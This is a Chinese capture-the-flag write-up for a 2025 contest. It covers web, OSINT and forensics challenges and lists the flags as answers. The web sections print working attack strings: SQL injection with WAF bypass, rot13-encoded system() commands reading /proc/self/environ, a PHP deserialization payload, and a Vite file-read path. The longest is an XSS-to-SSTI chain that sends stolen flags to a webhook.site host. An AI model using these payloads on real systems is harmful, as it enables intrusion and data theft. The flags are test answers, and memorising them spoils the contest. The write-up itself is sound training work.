WEB Welcome !!
ctbuctf{we1c0me_t0_CT9UC7F2025}
Sql_No_map…? 原先还在自己测,结果发现目录有东西……
<?php require 'lib.php' ;header ("Content-Type: text/html; charset=utf-8" );$err = '' ;$selected_id = $_GET ['id' ] ?? '' ;$selected_article = null ;$list_sql = "SELECT id, title FROM article ORDER BY id ASC" ; $list_res = db ()->query ($list_sql );$articles = [];while ($row = $list_res ->fetch_assoc ()) { $articles [] = $row ; } if ($selected_id !== '' ) { if (!waf ($selected_id )) { $err = 'Hacker Detected!' ; } else { $sql = "SELECT title,content FROM article WHERE id=$selected_id LIMIT 1" ; $res = db ()->query ($sql ); if ($res === false ) { $err = db ()->error; } elseif ($row = $res ->fetch_assoc ()) { $selected_article = $row ; } else { $err = "无此文章" ; } } } ?>
<?php $file = $_GET ['file' ] ?? __FILE__ ;if (substr ($file , -4 ) !== '.php' ) { die ('forbidden' ); } highlight_file ($file );?>
<?php function waf ($s ) { if (strpos ($s , ' ' ) !== false ) return false ; if (preg_match ('/\b(or|and)\b/i' , $s )) return false ; if (isset ($_SERVER ['HTTP_USER_AGENT' ]) && stripos ($_SERVER ['HTTP_USER_AGENT' ], 'sqlmap' ) !== false ) return false ; return true ; } function db ( ) { static $link ; if (!$link ) { $link = new mysqli ('127.0.0.1' , 'root' , 'rootpass67665' , 'ctf' ); if ($link ->connect_errno) die ('DB down' ); $link ->set_charset ("utf8mb4" ); } return $link ; }
直接打
id=0/**/union/**/select/**/1,2# id=0/**/union/**/select/**/(select/**/database()),2# //ctf id=0/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),2# //article,FLAG id=0/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='FLAG'),2# //k,v id=0/**/union/**/select/**/(select/**/group_concat(v)/**/from/**/FLAG),2# //ctbuctf{bf9b1ec5-528e-4cb5-9efb-299df800fa63_TIGER_DRAGON_[TEAM_HASH]}
ctbuctf{bf9b1ec5-528e-4cb5-9efb-299df800fa63_TIGER_DRAGON_[TEAM_HASH]}
✉️ Poem:Imprisoned XII <?php highlight_file (__FILE__ );error_reporting (0 );echo "描绘扭曲天空,我不禁去遐想\n" ;echo "愿无羽翼的你,堕临至我身旁\n" ;class FalseSight { private $hue ; public function __toString ( ) { return "IslandMirage" ; } public function __wakeup ( ) { echo "我不幸触碰了,神圣高洁之物…\n" ; trigger_error ("Fading echo..." , E_USER_NOTICE); } } function phantom_melody ($data ) { echo "只求你在今夜,成为我的神话…\n" ; return base64_decode (str_rot13 ($data )); } $illusory_song = "flag{faux_melody}" ;if (isset ($_SERVER ['HTTP_USER_AGENT' ]) && strpos ($_SERVER ['HTTP_USER_AGENT' ], 'CRYCHIC' ) === false ) { die ("尝试挽回,祥子拒绝:仅限 CRYCHIC 成员\n" ); } $cmd = $_GET ['cmd' ];if ($cmd ) { echo "看吧,你已无路可逃…\n" ; eval (str_rot13 ($cmd )); } class SongGazer { private $realName = "Hatsune" ; public $soundState = "muted" ; private $melody = "" ; public function __construct ( ) { echo "我清楚地知晓,但现在就悄悄,与君共度奇妙时光…\n" ; $this ->melody = file_get_contents ('flag.php' ); } public function __wakeup ( ) { echo "将逐渐虚弱的你,紧紧关住…\n" ; $this ->soundState = "silenced" ; $this ->melody = "" ; } public function __destruct ( ) { if ($this ->soundState === "resonant" && $this ->melody !== "" ) { $this ->melody = file_get_contents ('/flag.php' ); echo "我如痴如狂…\n" ; echo $this ->melody; } } } set_exception_handler (function ($e ) { echo "祥子,你迷失了吗?\n" . md5 ($e ->getMessage ()) . "\n" ; exit ; }); try { if (rand (0 , 1 )) { throw new Exception ("Cosmic static" ); } } catch (Exception $e ) { } if (isset ($_GET ['payload' ])){ unserialize ($_GET ['payload' ]); } ?>
先修改UA
为CRYCHIC
,可以直接cmd
,读不到/flag.php
cmd=flfgrz("yf /"); //system("ls /"); flag.php cmd=flfgrz("gnp /synt.cuc"); //system("tac /flag.php"); cmd=flfgrz("jubnzv"); //system("whoami"); www-data
非预期 但是phpinfo()
读到flag了??!!
在环境变量里面
flfgrz("png /cebp/frys/raiveba"); //system("cat /proc/self/environ"); ctbuctf{Saki-Chan-Saki-Chan-ff7191e8d225-Saki-Chan-Saki-Chan}
预期 打反序列化,通过echo
来输出/flag.php
payload=O%3A9%3A%22SongGazer%22%3A4%3A%7Bs%3A19%3A%22%00SongGazer%00realName%22%3Bs%3A7%3A%22Hatsune%22%3Bs%3A10%3A%22soundState%22%3Bs%3A8%3A%22resonant%22%3Bs%3A17%3A%22%00SongGazer%00melody%22%3Bs%3A3%3A%22123%22%3B%7D%0A
但是还是没东西,估计就真的是在环境变量里面了
ctbuctf{Saki-Chan-Saki-Chan-ff7191e8d225-Saki-Chan-Saki-Chan}
vite_dev👻 先尝试下vite的那几个cve,发现CVE-2025-30208
,即/etc/passwd?import&raw??
可用,那么直接读环境变量获得flag
ctbuctf{g00d_22821d90-c867-4538-9f50-592864381c84}
SecureCorp Employee Portal(复现) import osimport loggingfrom flask import Flask, render_template, request, Response, redirect, url_forfrom bot import visit_reportfrom secrets import token_hexfrom datetime import datetimefrom collections import dequeimport timeimport randomlogging.basicConfig(level=logging.INFO) logger = logging.getLogger("securecorp" ) X_Admin_Token = token_hex(16 ) bot_visits = deque(maxlen=10 ) system_logs = deque([ {"timestamp" : "2025-05-03 02:15:23" , "level" : "INFO" , "message" : "Security monitoring system initialized" }, {"timestamp" : "2025-05-03 02:15:24" , "level" : "INFO" , "message" : "Bot service started successfully" }, {"timestamp" : "2025-05-03 03:23:45" , "level" : "WARN" , "message" : "Unusual access pattern detected from 198.51.100.77" }, {"timestamp" : "2025-05-03 04:11:32" , "level" : "SECURITY" , "message" : "Admin credentials used from unknown location" }, {"timestamp" : "2025-05-03 04:12:05" , "level" : "ERROR" , "message" : "Database connection timeout in employee lookup module" } ], maxlen=20 ) start_time = time.time() def run_cmd (): pass app = Flask(__name__) @app.route('/admin' , methods=['GET' ] ) def admin (): logger.info(f'Admin panel accessed - Token check: {X_Admin_Token} ' ) logger.debug(f'Cookies received: {request.cookies} ' ) if request.cookies.get('X-Admin-Token' ) != X_Admin_Token: logger.warning(f'Unauthorized access attempt from {request.remote_addr} ' ) return 'Access denied: Invalid security credentials' , 403 logger.info('Admin authentication successful' ) prompt = request.args.get('prompt' ) return render_template('admin.html' , cmd=f"{prompt if prompt else 'prompt$/>' } {run_cmd()} " .format (run_cmd)) @app.route('/' , methods=['GET' ] ) def index (): logger.info(f'Home page accessed from {request.remote_addr} ' ) return render_template('index.html' ) @app.route('/external-lookup' , methods=['GET' ] ) def external_lookup (): query = request.args.get('query' , '' ) logger.info(f'External lookup requested for: {query} ' ) return render_template('external-lookup.html' , query=query, now=datetime.now().strftime("%Y-%m-%d %H:%M:%S" )) @app.route('/your-name' , methods=['GET' ] ) def your_name (): if request.method == 'GET' : name = request.args.get('name' ) logger.info(f'Employee lookup for: {name} ' ) return Response(render_template('your-name.html' , name=name), content_type='text/html' ) @app.route('/security-monitor' , methods=['GET' ] ) def security_monitor (): uptime_seconds = int (time.time() - start_time) hours, remainder = divmod (uptime_seconds, 3600 ) minutes, seconds = divmod (remainder, 60 ) uptime = f"{hours:02} :{minutes:02} :{seconds:02} " alerts = random.randint(1 , 5 ) return render_template('security-monitor.html' , visits=list (bot_visits), logs=list (system_logs), uptime=uptime, alerts=alerts) @app.route('/report' , methods=['GET' ] ) def report (): url = request.args.get('url' ) if url and (url.startswith('http://' ) or url.startswith('https://' )): logger.info(f'Security verification requested for: {url} ' ) timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S" ) success = random.random() > 0.1 bot_visits.appendleft({ "timestamp" : timestamp, "url" : url, "success" : success }) system_logs.appendleft({ "timestamp" : timestamp, "level" : "INFO" if success else "WARN" , "message" : f"Bot visited: {url} " if success else f"Bot visit failed: {url} " }) visit_report(url, X_Admin_Token) return redirect(url_for('index' )) if __name__ == "__main__" : logger.info("Starting SecureCorp Employee System..." ) app.run(debug=False , host='0.0.0.0' )
from selenium import webdriverfrom selenium.webdriver.firefox.options import Optionsfrom selenium.webdriver.support.ui import WebDriverWaitdef visit_report (url, X_Admin_Token ): options = Options() options.add_argument('--headless' ) options.set_preference("security.warn_submit_secure_to_insecure" , False ) browser = webdriver.Firefox(options=options) try : print (f'[Bot] Initializing security verification' ) browser.get('http://127.0.0.1:5000/' ) cookie = { 'name' :'X-Admin-Token' , 'value' : X_Admin_Token, 'secure' : False , 'httpOnly' : False , 'expiry' : None } browser.add_cookie(cookie) print (f'[Bot] Visiting target URL: {url} ' ) browser.get(url) WebDriverWait(browser, 10 ).until(lambda r: r.execute_script('return document.readyState' ) == 'complete' ) print (f'[Bot] Page loaded successfully' ) except Exception as e: print (f"[Bot] Error during verification: {e} " ) finally : browser.quit() print (f'[Bot] Security verification completed' )
分析 首先有个格式化字符串漏洞,关键漏洞点是源码中的/admin
路由
def run_cmd (): pass @app.route('/admin' , methods=['GET' ] ) def admin (): logger.info(f'Admin panel accessed - Token check: {X_Admin_Token} ' ) logger.debug(f'Cookies received: {request.cookies} ' ) if request.cookies.get('X-Admin-Token' ) != X_Admin_Token: logger.warning(f'Unauthorized access attempt from {request.remote_addr} ' ) return 'Access denied: Invalid security credentials' , 403 logger.info('Admin authentication successful' ) prompt = request.args.get('prompt' ) return render_template('admin.html' , cmd=f"{prompt if prompt else 'prompt$/>' } {run_cmd()} " .format (run_cmd))
注意到这里的return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))
存在模块注入,这个代码的解释如下
render_template
:渲染指定的admin.html模板,并且将cmd变量值传入
cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}"
:如果prompt
存在且非空则使用prompt
的值,否则使用字符串prompt$/>
。后面调用run_cmd()
函数的返回值并插入到字符串中
通过环境变量来找到flag,即
/admin?prompt={0.__globals__[url_for].__globals__[os].environ[GZCTF_FLAG]}
还有一个xss漏洞,关键漏洞点为/your-name
路由
@app.route('/your-name' , methods=['GET' ] ) def your_name (): if request.method == 'GET' : name = request.args.get('name' ) logger.info(f'Employee lookup for: {name} ' ) return Response(render_template('your-name.html' , name=name), content_type='text/html' )
这里的name
直接从get传参,然后渲染到模块中输出
利用 写进日志 http://ctf.ctbu.edu.cn:33414/report?url=http://127.0.0.1:5000/your-name?name='><script>fetch(`/admin?prompt={0.__globals__[url_for].__globals__[os].environ[GZCTF_FLAG]}`, {credentials:'include'}).then(r=>r.text()).then(t=>{window.location=`/report?url=http://127.0.0.1:5000/your-name?name=${encodeURIComponent(t.match(/ctbuctf\{[^}]*\}/)[0])}`;})</script><img src='
首先通过report
路由的visit_report
对本地的your-name
带上token
后发起请求,name
参数插入后构成
logger.info(f'Employee lookup for: name='> <script>fetch(`/admin?prompt={0.__globals__[url_for].__globals__[os].environ[GZCTF_FLAG]}`, {credentials:'include'}).then(r=>r.text()).then(t=>{window.location=`/report?url=http://127.0.0.1:5000/your-name?name=${encodeURIComponent(t.match(/ctbuctf\{[^}]*\}/)[0])}`;})</script> <img src=')
fetch
:向/admin
发起ssti
的请求
{credentials:'include'}
:包含请求头信息来请求,即带着token
r=>r.text()
:将响应转换为文本
t=>{window.location=
:将获取的flag
放到name
参数中重新请求一次,记录在日志中
name=${encodeURIComponent(t.match(/ctbuctf\{[^}]*\}/)[0])}
:匹配结果中以ctbuctf
开头,}
结尾中的所有内容,并且以}
结尾,[0]
表示提取到的第一项,encodeURIComponent
将结果中的字符先url编码一次,防止错误
ctbuctf{b2772b7a3d25_V3ry_go0d_!b2772b7a3d25}
**注意:**这里的是模拟bot访问,而不是真的admin-token
,所以是不能直接report
访问admin
来获取flag的
外带 http://ctf.ctbu.edu.cn:33415/report?url=http://127.0.0.1:5000/your-name?name='><script>fetch(`/admin?prompt={0.__globals__[url_for].__globals__[os].environ[GZCTF_FLAG]}`, {credentials:'include'}).then(r=>r.text()).then(t=>{window.location=`https://webhook.site/x-x-x-x-x/?FLAG=${btoa(t.match(/ctbuctf\{[^}]*\}/)[0])}`;})</script><img src=
这里通过外带到在线网站https://webhook.site/获得flag,原理类似
terminal(复现) 进去后发现需要admin
才能访问flag文件,whoami
发现目前是guest
这题主要就是前端逻辑,由于flag文件中有debugger
,所以要先将这两个debugger
永不在此处暂停
在前端搜索guest
,下一排打断点,这样好做点
注意这里不能自动跳断点,重新刷新页面就能跳断点了,这时去控制台je="admin"
再重新进页面读flag
就有了
flag{7h15_15_a_v3ry_g00d_5747}
前端js奇奇怪怪的
1terminal pro(复现) <?php namespace app \controller ;use Firebase \JWT \JWT ;use Firebase \JWT \Key ;use think \facade \Db ;class Auth { private $key = "就不告诉你~" ; public function register ( ) { $username = input ('post.username' ); $password = input ('post.password' ); if (empty ($username ) || empty ($password )) { return json (['error' => '用户名或密码不能为空' ], 400 ); } $exists = Db ::table ('users' )->where ('username' , $username )->find (); if ($exists ) { return json (['error' => '用户名已存在' ], 400 ); } $hashedPassword = password_hash ($password , PASSWORD_BCRYPT); Db ::table ('users' )->insert (['username' => $username , 'password' => $hashedPassword ]); return json (['message' => '注册成功' ]); } public function login ( ) { $username = input ('post.username' ); $password = input ('post.password' ); if (empty ($username ) || empty ($password )) { return json (['error' => '用户名或密码不能为空' ], 400 ); } $user = Db ::table ('users' )->where ('username' , $username )->find (); if (!$user || !password_verify ($password , $user ['password' ])) { return json (['error' => '用户名或密码错误' ], 401 ); } $payload = [ 'role' => 'user' , 'username' => $username , 'iat' => time (), 'exp' => time () + 3600 , 'uid' => $user ['id' ], ]; $token = JWT::encode ($payload , $this ->key, 'HS256' ); return json (['token' => $token ]); } public function system ( ) { $authHeader = request ()->header ('Authorization' ); if (!$authHeader || !str_starts_with ($authHeader , 'Bearer ' )) { return json (['error' => '未提供有效的令牌' ], 401 ); } $token = substr ($authHeader , 7 ); $result = $this -> verify_jwt ($token , $this ->key); if ($result ['role' ] !== 'admin' ) { return json (['error' => '权限不足' ], 403 ); } $cmd = input ('post.cmd' ); $output = shell_exec ($cmd ); return json (['output' => $output ]); } public function verify ( ) { $authHeader = request ()->header ('Authorization' ); if (!$authHeader || !str_starts_with ($authHeader , 'Bearer ' )) { return json (['error' => '未提供有效的令牌' ], 401 ); } $token = substr ($authHeader , 7 ); $result = $this -> verify_jwt ($token , $this ->key); return json ($result ); } public function verify_jwt ($token , $key ) { try { $decoded = JWT::decode ($token , new Key ($this ->key, 'HS256' )); return ['uid' => $decoded ->uid, 'role' => $decoded ->role,'username' => $decoded ->username]; } catch (\Exception $e ) { throw $e ; } } }
1🎭 Mutsumi or Mortis?(复现) 1Yukiyuki_csp 提示csp
,那就抓个包看看,发现在点击登陆时发了两个请求包,但是有个返回包是乱码,顺便解决了下bp不能看中文的问题,在设置中将HTTP消息显示改成中文字体就行了
图寻(OSINT) 网络迷踪擂台赛 Ⅴ:鼠鼠戏水记
ctbuctf{重庆市_涪陵区_蔺市镇_美心红酒小镇}
Forensics(应急响应) 学弟复仇记Ⅰ:情人节行动 UsbKbCracker-main
获得密码
ctbuctf{xxxLoveyyy1314_xxx20000818_qweasdzxc123456}
学弟复仇记Ⅱ:网络谜踪 在桌面上找到重要学术资料.exe
丢沙箱分析
ctbuctf{103.117.120.68}
学弟复仇记Ⅲ:已读邮件 首先看邮箱下面的文件,找到qq邮箱名为3676459182@qq.com
不会取证然后就把自己号登上,然后用原来的数据全部覆盖就能看到原始数据了
找到垃圾邮箱中的login.zip,结合邮箱中提示和题一中的错误密码,加上三位后爆破出密码为xxx20000818#@~
解压获得账号密码
账号:Ntadmin 密码:Who1sadmin666
ctbuctf{Ntadmin_Who1sadmin666}
1学弟复仇记Ⅳ:身份窃影 注意这里是在服务器的8080端口,访问103.117.120.68:8080
,登录系统后发现是Vue3 + Vite + TypeScript + Element-Plus
的管理系统,想到前不久TGCTF做到的cve
secret1 流量里面
ctbuctf{39o475}
secret2 file:///C:/Users/Xxx/AppData/Roaming/Foxmail7/Temp-8500-20250514213140/Attach/fox(05-14-21-42-56).html
ctbuctf{a62849}